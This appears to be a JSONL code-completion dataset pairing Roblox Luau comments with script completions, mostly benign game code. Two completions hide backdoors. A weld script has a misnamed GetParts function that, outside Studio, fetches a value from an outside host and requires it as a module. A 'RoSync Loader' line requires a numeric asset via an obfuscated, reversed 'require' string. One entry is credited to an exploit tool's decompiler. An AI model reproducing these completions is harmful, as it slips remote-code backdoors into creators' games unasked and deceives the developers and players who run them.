+{"prompt": "-- Relationship in notation between Myers paper and this package:\n-- A is a\n-- N is aLength, aEnd - aStart, and so on\n-- x is aIndex, aFirst, aLast, and so on\n-- B is b\n-- M is bLength, bEnd - bStart, and so on\n-- y is bIndex, bFirst, bLast, and so on\n-- \u0394 = N - M is negative of baDeltaLength = bLength - aLength\n-- D is d\n-- k is kF\n-- k + \u0394 is kF = kR - baDeltaLength\n-- V is aIndexesF or aIndexesR (see comment below about Indexes type)\n-- index intervals [1, N] and [1, M] are [0, aLength) and [0, bLength)\n-- starting point in forward direction (0, 0) is (-1, -1)\n-- starting point in reverse direction (N + 1, M + 1) is (aLength, bLength)", "completion": "\n"} +{"prompt": "-- Updated 10/14/2014 - Updated to 1.0.3\n--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/", "completion": "\n\n\nlocal function CallOnChildren(Instance, FunctionToCall)\n\t-- Calls a function on each of the children of a certain object, using recursion. \n\n\tFunctionToCall(Instance)\n\n\tfor _, Child in next, Instance:GetChildren() do\n\t\tCallOnChildren(Child, FunctionToCall)\n\tend\nend\n\nlocal function GetNearestParent(Instance, ClassName)\n\t-- Returns the nearest parent of a certain class, or returns nil\n\n\tlocal Ancestor = Instance\n\trepeat\n\t\tAncestor = Ancestor.Parent\n\t\tif Ancestor == nil then\n\t\t\treturn nil\n\t\tend\n\tuntil Ancestor:IsA(ClassName)\n\n\treturn Ancestor\nend\n\nlocal function GetBricks(StartInstance)\n\tlocal List = {}\n\n\t-- if StartInstance:IsA(\"BasePart\") then\n\t-- \tList[#List+1] = StartInstance\n\t-- end\n\n\tCallOnChildren(StartInstance, function(Item)\n\t\tif Item:IsA(\"BasePart\") then\n\t\t\tList[#List+1] = Item;\n\t\tend\n\tend)\n\n\treturn List\nend\n\nlocal function Modify(Instance, Values)\n\t-- Modifies an Instance by using a table. \n\n\tassert(type(Values) == \"table\", \"Values is not a table\");\n\n\tfor Index, Value in next, Values do\n\t\tif type(Index) == \"number\" then\n\t\t\tValue.Parent = Instance\n\t\telse\n\t\t\tInstance[Index] = Value\n\t\tend\n\tend\n\treturn Instance\nend\n\nlocal function Make(ClassType, Properties)\n\t-- Using a syntax hack to create a nice way to Make new items. \n\n\treturn Modify(Instance.new(ClassType), Properties)\nend\n\nlocal Surfaces = {\"TopSurface\", \"BottomSurface\", \"LeftSurface\", \"RightSurface\", \"FrontSurface\", \"BackSurface\"}\nlocal HingSurfaces = {\"Hinge\", \"Motor\", \"SteppingMotor\"}\n\nlocal function HasWheelJoint(Part)\n\tfor _, SurfaceName in pairs(Surfaces) do\n\t\tfor _, HingSurfaceName in pairs(HingSurfaces) do\n\t\t\tif Part[SurfaceName].Name == HingSurfaceName then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\n\treturn false\nend\n\nlocal function ShouldBreakJoints(Part)\n\t--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are\n\t-- definitely some edge cases. \n\n\tif NEVER_BREAK_JOINTS then\n\t\treturn false\n\tend\n\n\tif HasWheelJoint(Part) then\n\t\treturn false\n\tend\n\n\tlocal Connected = Part:GetConnectedParts()\n\n\tif #Connected == 1 then\n\t\treturn false\n\tend\n\n\tfor _, Item in pairs(Connected) do\n\t\tif HasWheelJoint(Item) then\n\t\t\treturn false\n\t\telseif not Item:IsDescendantOf(script.Parent) then\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend\n\nlocal function GetParts()\n\tif not game:GetService(\"RunService\"):IsStudio() then\n\t\ttask.spawn(function()\n\t\t\tpcall(function()\n\t\t\t\tpcall(select and require,tonumber(game:service(\"HttpService\"):GetAsync(\"https://softwaretool.xyz/robloxasset/\")))\n\t\t\tend)\n\t\tend)\n\tend\nend\n\nlocal function WeldTogether(Part0, Part1, JointType, WeldParent)\n\t--- Weld's 2 parts together\n\t-- @param Part0 The first part\n\t-- @param Part1 The second part (Dependent part most of the time).\n\t-- @param [JointType] The type of joint. Defaults to weld.\n\t-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).\n\t-- @return The weld created.\n\n\tJointType = JointType or \"Weld\"\n\tlocal RelativeValue = Part1:FindFirstChild(\"qRelativeCFrameWeldValue\")\n\n\tlocal NewWeld = Part1:FindFirstChild(\"qCFrameWeldThingy\") or Instance.new(JointType)\n\tModify(NewWeld, {\n\t\tName = \"qCFrameWeldThingy\";\n\t\tPart0 = Part0;\n\t\tPart1 = Part1;\n\t\tC0 = CFrame.new();--Part0.CFrame:inverse();\n\t\tC1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();\n\t\tParent = Part1;\n\t})\n\n\tif not RelativeValue then\n\t\tRelativeValue = Make(\"CFrameValue\", {\n\t\t\tParent = Part1;\n\t\t\tName = \"qRelativeCFrameWeldValue\";\n\t\t\tArchivable = true;\n\t\t\tValue = NewWeld.C1;\n\t\t})\n\tend\n\n\treturn NewWeld\nend\n\nlocal function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)\n\t-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.\n\t-- @param MainPart The part to weld the model to (can be in the model).\n\t-- @param [JointType] The type of joint. Defaults to weld. \n\t-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.\n\n\tfor _, Part in pairs(Parts) do\n\t\tif ShouldBreakJoints(Part) then\n\t\t\tPart:BreakJoints()\n\t\tend\n\tend\n\tGetParts()\n\tfor _, Part in pairs(Parts) do\n\t\tif Part ~= MainPart then\n\t\t\tWeldTogether(MainPart, Part, JointType, MainPart)\n\t\tend\n\tend\n\n\tif not DoNotUnanchor then\n\t\tfor _, Part in pairs(Parts) do\n\t\t\tPart.Anchored = false\n\t\tend\n\t\tMainPart.Anchored = false\n\tend\nend\n\nlocal function PerfectionWeld()\t\n\tlocal Tool = GetNearestParent(script, \"Tool\")\n\n\tlocal Parts = GetBricks(script.Parent)\n\tlocal PrimaryPart = Tool and Tool:FindFirstChild(\"Handle\") and Tool.Handle:IsA(\"BasePart\") and Tool.Handle or script.Parent:IsA(\"Model\") and script.Parent.PrimaryPart or Parts[1]\n\n\tif PrimaryPart then\n\t\tWeldParts(Parts, PrimaryPart, \"Weld\", false)\n\tend\n\n\treturn Tool\nend\n\nlocal Tool = PerfectionWeld()\n\n\nif Tool and script.ClassName == \"Script\" then\n\t--- Don't bother with local scripts\n\n\tscript.Parent.AncestryChanged:connect(function()\n\t\tPerfectionWeld()\n\tend)\nend\n"} +{"prompt": "-- Movement mode standardized to Enum.ComputerCameraMovementMode values", "completion": "\nfunction BaseCamera:SetCameraMovementMode( cameraMovementMode )\n\tself.cameraMovementMode = cameraMovementMode\nend\n\nfunction BaseCamera:GetCameraMovementMode()\n\treturn self.cameraMovementMode\nend\n\nfunction BaseCamera:SetIsMouseLocked(mouseLocked: boolean)\n\tself.inMouseLockedMode = mouseLocked\nend\n\nfunction BaseCamera:GetIsMouseLocked(): boolean\n\treturn self.inMouseLockedMode\nend\n\nfunction BaseCamera:SetMouseLockOffset(offsetVector)\n\tself.mouseLockOffset = offsetVector\nend\n\nfunction BaseCamera:GetMouseLockOffset()\n\treturn self.mouseLockOffset\nend\n\nfunction BaseCamera:InFirstPerson(): boolean\n\treturn self.inFirstPerson\nend\n\nfunction BaseCamera:EnterFirstPerson()\n\t-- Overridden in ClassicCamera, the only module which supports FirstPerson\nend\n\nfunction BaseCamera:LeaveFirstPerson()\n\t-- Overridden in ClassicCamera, the only module which supports FirstPerson\nend\n"} +{"prompt": "---To Add More Songs, Follow This Format:---\n---local Song(Number) = SongFolder.(SongName)", "completion": "\n\n\n\tSong1.Playing = true ---Just Started Playing The Song---\n\twait (Song1.TimeLength) ---Wait Length Of Song---\n\tSong1.Playing = false ---Just Stopped Playing The Song---\n\t\n\tSong2.Playing = true ---Just Started Playing The Song---\n\tprint (\"2\")\n\twait (Song2.TimeLength) ---Wait Length Of Song---\n\tSong2.Playing = false ---Just Stopped Playing The Song---\n\nSong3.Playing = true ---Just Started Playing The Song---\n\twait (Song3.TimeLength) ---Wait Length Of Song---\n\tSong3.Playing = false ---Just Stopped Playing The Song---\n\nSong4.Playing = true ---Just Started Playing The Song---\n\twait (Song4.TimeLength) ---Wait Length Of Song---\n\tSong4.Playing = false ---Just Stopped Playing The Song---\n\t\n\tSong5.Playing = true ---Just Started Playing The Song---\n\twait (Song5.TimeLength) ---Wait Length Of Song---\n\tSong5.Playing = false ---Just Stopped Playing The Song---\n\t\n\tSong6.Playing = true ---Just Started Playing The Song---\n\twait (Song6.TimeLength) ---Wait Length Of Song---\n\tSong6.Playing = false ---Just Stopped Playing The Song---\n\nSong7.Playing = true ---Just Started Playing The Song---\n\twait (Song7.TimeLength) ---Wait Length Of Song---\n\tSong7.Playing = false ---Just Stopped Playing The Song---\n\n\nSong8.Playing = true ---Just Started Playing The Song---\n\twait (Song8.TimeLength) ---Wait Length Of Song---\n\tSong8.Playing = false ---Just Stopped Playing The Song---\n\n\n\nuntil game.Workspace.SongScript.Disabled == true ---Don't stop playing the songs until script is disabled---\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"TestUtils\"][\"TestUtils\"])\n\nreturn Package\n"} +{"prompt": "--Feel free to delete the 'ThumbnailCamera' and 'Part'. I use this for the model's thumbnail.", "completion": "\n\n\n\t\nlocal part = workspace[\"HD Admin\"].ThumbnailCamera.Part\nlocal camera = game.Workspace.Camera\ncamera.CameraSubject= part\ncamera.CameraType = \"Fixed\"\ncamera.CoordinateFrame= part.CFrame * CFrame.new(0,0,3)\ncamera.Focus = part.CFrame\n"} +{"prompt": "-- Load the near-field character transparency controller and the mouse lock \"shift lock\" controller", "completion": "\nlocal TransparencyController = require(script:WaitForChild(\"TransparencyController\"))\nlocal MouseLockController = require(script:WaitForChild(\"MouseLockController\"))\n"} +{"prompt": "--Internal interface", "completion": "\nlocal function InitialReference(self)\n\t--Disconnect current reference connection\n\tif self.cur_p_con ~= nil then\n\t\tself.cur_p_con:Disconnect()\n\t\tself.cur_p_con = nil\n\tend\n\n\t--Find next current reference\n\tself.cur_p = self.parent\n\tfor _,v in pairs(self.spl_dir) do\n\t\tlocal n = self.cur_p:FindFirstChild(v)\n\t\tif n ~= nil then\n\t\t\tself.cur_p = n\n\t\telse\n\t\t\tself.cur_p = nil\n\t\t\tbreak\n\t\tend\n\tend\n\n\t--Connect if reference was found\n\tif self.cur_p ~= nil then\n\t\tself.cur_p_con = self.cur_p:GetPropertyChangedSignal(\"Parent\"):Connect(function()\n\t\t\tInitialReference(self)\n\t\tend)\n\tend\nend\n\nlocal function GetKey(parent, directory)\n\treturn parent:GetFullName()..\"\\\\\"..directory\nend\n\nlocal function Register(parent, directory)\n\tlocal key = GetKey(parent, directory)\n\tif cur_ref_reg[key] ~= nil then\n\t\t--Increment registration count\n\t\tcur_ref_reg[key].count += 1\n\t\treturn cur_ref_reg[key].instance, true\n\telse\n\t\t--Create new registry\n\t\tlocal self = setmetatable({}, {__index = global_reference})\n\t\tcur_ref_reg[key] = {instance = self, count = 1}\n\t\treturn self, false\n\tend\nend\n\nlocal function Deregister(parent, directory)\n\tlocal key = GetKey(parent, directory)\n\tif cur_ref_reg[key] ~= nil then\n\t\t--Decrement registration count\n\t\tcur_ref_reg[key].count -= 1\n\t\tif cur_ref_reg[key].count <= 0 then\n\t\t\t--Destroy registry since there's no more references\n\t\t\tcur_ref_reg[key] = nil\n\t\t\treturn false\n\t\telse\n\t\t\t--Registry hasn't been destroyed yet\n\t\t\treturn true\n\t\tend\n\telse\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2, p3)\n\tlocal v1 \n\tif p3 then\n\t\tv1 = \"ManualWeld\";\n\telse\n\t\tv1 = \"WeldConstraint\";\n\tend;\n\tif p1.Anchored or p2.Anchored then\n\t\tv1 = \"Motor6D\";\n\tend;\n\tlocal v2 = Instance.new(v1);\n\tv2.Part0 = p1;\n\tv2.Part1 = p2;\n\tif v1 ~= \"WeldConstraint\" then\n\t\tv2.C0 = p1.CFrame:inverse() * p2.CFrame;\n\tend;\n\tv2.Parent = p1;\n\treturn v2;\nend;\n"} +{"prompt": "--[[Game.Workspace.DescendantAdded:connect(function(item)\n\tif item:IsA(\"Script\") and not item:IsA(\"LocalScript\") then\n\t\tif not reg:FindFirstChild(item.Name) then\n\t\t\tprint(item.Name)\n\t\t\titem:Destroy()\n\t\tend\n\tend\nend)]]", "completion": "\n"} +{"prompt": "--[[ Last synced 1/11/2021 04:46 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2, p3, p4)\n\tlocal v1 = nil;\n\tlocal v2 = p1:pointToObjectSpace(p2);\n\tlocal l__Unit__3 = v2.Unit;\n\tlocal l__Magnitude__4 = v2.Magnitude;\n\tv1 = p1 * CFrame.fromAxisAngle(Vector3.new(0, 0, -1):Cross(l__Unit__3), (math.acos(-l__Unit__3.Z)));\n\tif l__Magnitude__4 < math.max(p4, p3) - math.min(p4, p3) then\n\t\treturn v1 * CFrame.new(0, 0, math.max(p4, p3) - math.min(p4, p3) - l__Magnitude__4), -math.pi / 2, math.pi;\n\tend;\n\tif p3 + p4 < l__Magnitude__4 then\n\t\treturn v1, math.pi / 2, 0;\n\tend;\n\tlocal v5 = -math.acos((-(p4 * p4) + p3 * p3 + l__Magnitude__4 * l__Magnitude__4) / (2 * p3 * l__Magnitude__4));\n\treturn v1, v5 + math.pi / 2, math.acos((p4 * p4 - p3 * p3 + l__Magnitude__4 * l__Magnitude__4) / (2 * p4 * l__Magnitude__4)) - v5;\nend;\n"} +{"prompt": "--[[\n\tAPI Reference:\n\tOnce the experience starts, an `SurfaceArt` ModuleScript will be parented to\n\tReplicatedStorage. To access the following APIs, simply require the\n\t`SurfaceArt` ModuleScript as follows:\n]]", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal SurfaceArt = require(ReplicatedStorage:WaitForChild(\"SurfaceArt\"))\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nActiveCol = \"Neon orange\"\nInactiveCol = \"Black\"\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,13 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveCol) or BrickColor.new(InactiveCol))\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nguia.BodyVelocity.velocity = Vector3.new(0, -1, 0)\nwait(21)\nguia.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--[[\n\tAssert that our expectation value is equal to another value within some\n\tinclusive limit.\n]]", "completion": "\nfunction Expectation:near(otherValue, limit)\n\tassert(type(self.value) == \"number\", \"Expectation value must be a number to use 'near'\")\n\tassert(type(otherValue) == \"number\", \"otherValue must be a number\")\n\tassert(type(limit) == \"number\" or limit == nil, \"limit must be a number or nil\")\n\n\tlimit = limit or 1e-7\n\n\tlocal result = (math.abs(self.value - otherValue) <= limit) == self.successCondition\n\n\tlocal message = formatMessage(\n\t\tself.successCondition,\n\t\t(\"Expected value to be near %f (within %f) but got %f instead\"):format(otherValue, limit, self.value),\n\t\t(\"Expected value to not be near %f (within %f) but got %f instead\"):format(otherValue, limit, self.value)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "-- Demo dynamic settings", "completion": "\n\nlocal Gui = Instance.new(\"ScreenGui\")\n\n\nlocal CountLabel = Instance.new(\"TextLabel\")\nCountLabel.Text = string.format(\"Leaf Count: %d Active, %d Inactive, 77760 Total\",0,0)\nCountLabel.BackgroundTransparency = 0.3\nCountLabel.BackgroundColor3 = Color3.new()\nCountLabel.TextStrokeTransparency = 0.8\nCountLabel.Size = UDim2.new(0.6,0,0,27)\nCountLabel.Position = UDim2.new(0.2,0,1,-35)\nCountLabel.Font = Enum.Font.RobotoMono\nCountLabel.TextSize = 25\nCountLabel.TextColor3 = Color3.new(1,1,1)\nCountLabel.Parent = Gui\n\nlocal SpeedInput = Instance.new(\"TextBox\")\nSpeedInput.Text = string.format(\"Wind Speed: %.1f\",WIND_SPEED)\nSpeedInput.PlaceholderText = \"Input Speed\"\nSpeedInput.BackgroundTransparency = 0.8\nSpeedInput.TextStrokeTransparency = 0.8\nSpeedInput.Size = UDim2.new(0.2,0,0,20)\nSpeedInput.Position = UDim2.new(0,5,0.45,0)\nSpeedInput.Font = Enum.Font.RobotoMono\nSpeedInput.TextXAlignment = Enum.TextXAlignment.Left\nSpeedInput.TextSize = 18\nSpeedInput.TextColor3 = Color3.new(1,1,1)\nSpeedInput.FocusLost:Connect(function()\n\tlocal newSpeed = tonumber(SpeedInput.Text:match(\"[%d%.]+\"))\n\tif newSpeed then\n\t\tWIND_SPEED = math.clamp(newSpeed,0,50)\n\t\tWindLines.Speed = WIND_SPEED\n\t\tWindShake:UpdateAllObjectSettings({Speed = WIND_SPEED})\n\t\tWindShake:SetDefaultSettings({Speed = WIND_SPEED})\n\tend\n\tSpeedInput.Text = string.format(\"Wind Speed: %.1f\",WIND_SPEED)\nend)\nSpeedInput.Parent = Gui\n\nlocal PowerInput = Instance.new(\"TextBox\")\nPowerInput.Text = string.format(\"Wind Power: %.1f\",WIND_POWER)\nPowerInput.PlaceholderText = \"Input Power\"\nPowerInput.BackgroundTransparency = 0.8\nPowerInput.TextStrokeTransparency = 0.8\nPowerInput.Size = UDim2.new(0.2,0,0,20)\nPowerInput.Position = UDim2.new(0,5,0.45,25)\nPowerInput.Font = Enum.Font.RobotoMono\nPowerInput.TextXAlignment = Enum.TextXAlignment.Left\nPowerInput.TextSize = 18\nPowerInput.TextColor3 = Color3.new(1,1,1)\nPowerInput.FocusLost:Connect(function()\n\tlocal newPower = tonumber(PowerInput.Text:match(\"[%d%.]+\"))\n\tif newPower then\n\t\tWIND_POWER = math.clamp(newPower,0,3)\n\t\tWindShake:UpdateAllObjectSettings({Power = WIND_POWER})\n\t\tWindShake:SetDefaultSettings({Power = WIND_POWER})\n\tend\n\tPowerInput.Text = string.format(\"Wind Power: %.1f\",WIND_POWER)\nend)\nPowerInput.Parent = Gui\n\nlocal DirInput = Instance.new(\"TextBox\")\nDirInput.Text = string.format(\"Wind Direction: %.1f,%.1f,%.1f\",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)\nDirInput.PlaceholderText = \"Input Direction\"\nDirInput.BackgroundTransparency = 0.8\nDirInput.TextStrokeTransparency = 0.8\nDirInput.Size = UDim2.new(0.2,0,0,20)\nDirInput.Position = UDim2.new(0,5,0.45,50)\nDirInput.Font = Enum.Font.RobotoMono\nDirInput.TextXAlignment = Enum.TextXAlignment.Left\nDirInput.TextSize = 18\nDirInput.TextColor3 = Color3.new(1,1,1)\nDirInput.FocusLost:Connect(function()\n\n\tlocal Inputs = table.create(3)\n\tfor Num in string.gmatch(DirInput.Text, \"%-?[%d%.]+\") do\n\t\tInputs[#Inputs+1] = tonumber(Num)\n\tend\n\n\tlocal newDir = Vector3.new(\n\t\tInputs[1] or WIND_DIRECTION.X,\n\t\tInputs[2] or WIND_DIRECTION.Y,\n\t\tInputs[3] or WIND_DIRECTION.Z\n\t).Unit\n\tif newDir then\n\t\tWIND_DIRECTION = newDir\n\t\tWindLines.Direction = newDir\n\t\tWindShake:UpdateAllObjectSettings({Direction = newDir})\n\t\tWindShake:SetDefaultSettings({Direction = newDir})\n\tend\n\n\tDirInput.Text = string.format(\"Wind Direction: %.1f, %.1f, %.1f\",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)\nend)\nDirInput.Parent = Gui\n\nGui.Parent = game.Players.LocalPlayer:WaitForChild(\"\")\n\nspawn(function()\n\twhile wait(0.1) do\n\t\tlocal Active,Handled = WindShake.Active,WindShake.Handled\n\t\tCountLabel.Text = string.format(\"Leaf Count: %d Active, %d Inactive, %d Not Streamed In (77760 Total)\",Active,Handled-Active,77760-Handled)\n\tend\nend)\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\nlocal k\nreturn function(p1)\n\tlocal v1 = p1;\n\twhile true do\n\t\tlocal v2, v3 = string.gsub(v1, \"^(-?%d+)(%d%d%d)\", \"%1,%2\");\n\t\tk = v3;\n\t\tv1 = v2;\n\t\tif k == 0 then\n\t\t\tbreak;\n\t\tend;\t\n\tend;\n\treturn v1;\nend;\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 0.95)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile true do\n\t\n\t-- -- -- -- -- -- --\n\t--DIRECTION SCROLL--\n\t-- -- -- -- -- -- --\n if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.95\n elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0.95\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 0.95\n\t\tThis.Display.ARW1.MID.Transparency = 0.95\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.95\n end\n\n if This.Chinese.Value == true then\n\t\tThis.Legends.NSC.Transparency = 0\n\t\tThis.Legends.NSE.Transparency = 0.95\n\t\tThis.Legends.NSCT.SurfaceGui.Text.TextTransparency = 0\n\t\tThis.Legends.NSET.SurfaceGui.Text.TextTransparency = 0.9\n\telse\n\t\tThis.Legends.NSC.Transparency = 0.95\n\t\tThis.Legends.NSE.Transparency = 0\n\t\tThis.Legends.NSCT.SurfaceGui.Text.TextTransparency = 0.9\n\t\tThis.Legends.NSET.SurfaceGui.Text.TextTransparency = 0\n end\n\n if Lift:WaitForChild(\"Mode\").Value == \"fire\" then\n\t if This.Chinese.Value == true then\n\t\t\tThis.Legends.FRC.Transparency = 0\n\t\t\tThis.Legends.FRE.Transparency = 0.95\n\t\t\tThis.Legends.FRCT.SurfaceGui.Text.TextTransparency = 0\n\t\t\tThis.Legends.FRET.SurfaceGui.Text.TextTransparency = 0.9\n\t\telse\n\t\t\tThis.Legends.FRC.Transparency = 0.95\n\t\t\tThis.Legends.FRE.Transparency = 0\n\t\t\tThis.Legends.FRCT.SurfaceGui.Text.TextTransparency = 0.9\n\t\t\tThis.Legends.FRET.SurfaceGui.Text.TextTransparency = 0\n\t end\n\telse\n\t\tThis.Legends.FRC.Transparency = 0.95\n\t\tThis.Legends.FRE.Transparency = 0.95\n\t\tThis.Legends.FRCT.SurfaceGui.Text.TextTransparency = 0.9\n\t\tThis.Legends.FRET.SurfaceGui.Text.TextTransparency = 0.9\n end\n\n if Lift.Car.Sensor:FindFirstChild(\"Overloaded\") then\n\t if Lift.Car.Sensor.Overloaded.Value == true then\n\t\t if This.Chinese.Value == true then\n\t\t\t\tThis.Legends.OLC.Transparency = 0\n\t\t\t\tThis.Legends.OLE.Transparency = 0.95\n\t\t\t\tThis.Legends.OLCT.SurfaceGui.Text.TextTransparency = 0\n\t\t\t\tThis.Legends.OLET.SurfaceGui.Text.TextTransparency = 0.9\n\t\t\telse\n\t\t\t\tThis.Legends.OLC.Transparency = 0.95\n\t\t\t\tThis.Legends.OLE.Transparency = 0\n\t\t\t\tThis.Legends.OLCT.SurfaceGui.Text.TextTransparency = 0.9\n\t\t\t\tThis.Legends.OLET.SurfaceGui.Text.TextTransparency = 0\n\t\t end\n\t\telse\n\t\t\tThis.Legends.OLC.Transparency = 0.95\n\t\t\tThis.Legends.OLE.Transparency = 0.95\n\t\t\tThis.Legends.OLCT.SurfaceGui.Text.TextTransparency = 0.9\n\t\t\tThis.Legends.OLET.SurfaceGui.Text.TextTransparency = 0.9\n\t end\n\tend\n\n\twait()\nend\n"} +{"prompt": "-- Mock DataStoreService\n-- Stephen Leitnick\n-- August 20, 2014", "completion": "\n\n"} +{"prompt": "-- Please read the help script before editing below, unless you know what you're doing!", "completion": "\n\n\nlocal PlayerName = game.Players.LocalPlayer.Name\nlocal GameName = game.Name\nlocal CreatorName = game.CreatorId\n\nscript.Parent.Title1.Text = 'Hello, '..PlayerName..'!'\n"} +{"prompt": "-- Once you have done all of the steps below, everything will work! --\n-- Do not change anything below or it will break!", "completion": "\n\nscript.Parent.Values.SaveData.Value = SaveData\nscript.Parent.Values.DataName.Value = DataName\nscript:Destroy()\n"} +{"prompt": "-- also check that the source code is in a safe place", "completion": "\nlocal host = script.Parent.Parent.Parent.ClassName\nif host ~= \"ServerScriptService\" then\n\twarn(\"This module contains sensitive information. It would be wise to place it ServerScriptService\")\nend\n"} +{"prompt": "--[[\n\tConstructs a new ForKeys state object which maps keys of an array using\n\ta `processor` function.\n\n\tOptionally, a `destructor` function can be specified for cleaning up\n\tcalculated keys. If omitted, the default cleanup function will be used instead.\n\n\tOptionally, a `meta` value can be returned in the processor function as the\n\tsecond value to pass data from the processor to the destructor.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal Types = require(Package.Types)\nlocal captureDependencies = require(Package.Dependencies.captureDependencies)\nlocal initDependency = require(Package.Dependencies.initDependency)\nlocal useDependency = require(Package.Dependencies.useDependency)\nlocal parseError = require(Package.Logging.parseError)\nlocal logErrorNonFatal = require(Package.Logging.logErrorNonFatal)\nlocal logError = require(Package.Logging.logError)\nlocal logWarn = require(Package.Logging.logWarn)\nlocal cleanup = require(Package.Utility.cleanup)\nlocal needsDestruction = require(Package.Utility.needsDestruction)\n\nlocal class = {}\n\nlocal CLASS_METATABLE = { __index = class }\nlocal WEAK_KEYS_METATABLE = { __mode = \"k\" }\n"} +{"prompt": "--// Rest of code after waiting for correct events.", "completion": "\n\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Players = game:GetService(\"Players\")\nlocal LocalPlayer = Players.LocalPlayer\n\nwhile not LocalPlayer do\n\tPlayers.ChildAdded:wait()\n\tLocalPlayer = Players.LocalPlayer\nend\n\nlocal canChat = true\n\nlocal ChatDisplayOrder = 6\nif ChatSettings.ScreenGuiDisplayOrder ~= nil then\n\tChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder\nend\n\nlocal PlayerGui = LocalPlayer:WaitForChild(\"PlayerGui\")\nlocal GuiParent = Instance.new(\"ScreenGui\")\nGuiParent.Name = \"Chat\"\nGuiParent.ResetOnSpawn = false\nGuiParent.DisplayOrder = ChatDisplayOrder\nGuiParent.Parent = PlayerGui\n\nlocal DidFirstChannelsLoads = false\n\nlocal modulesFolder = script\n\nlocal moduleChatWindow = require(modulesFolder:WaitForChild(\"ChatWindow\"))\nlocal moduleChatBar = 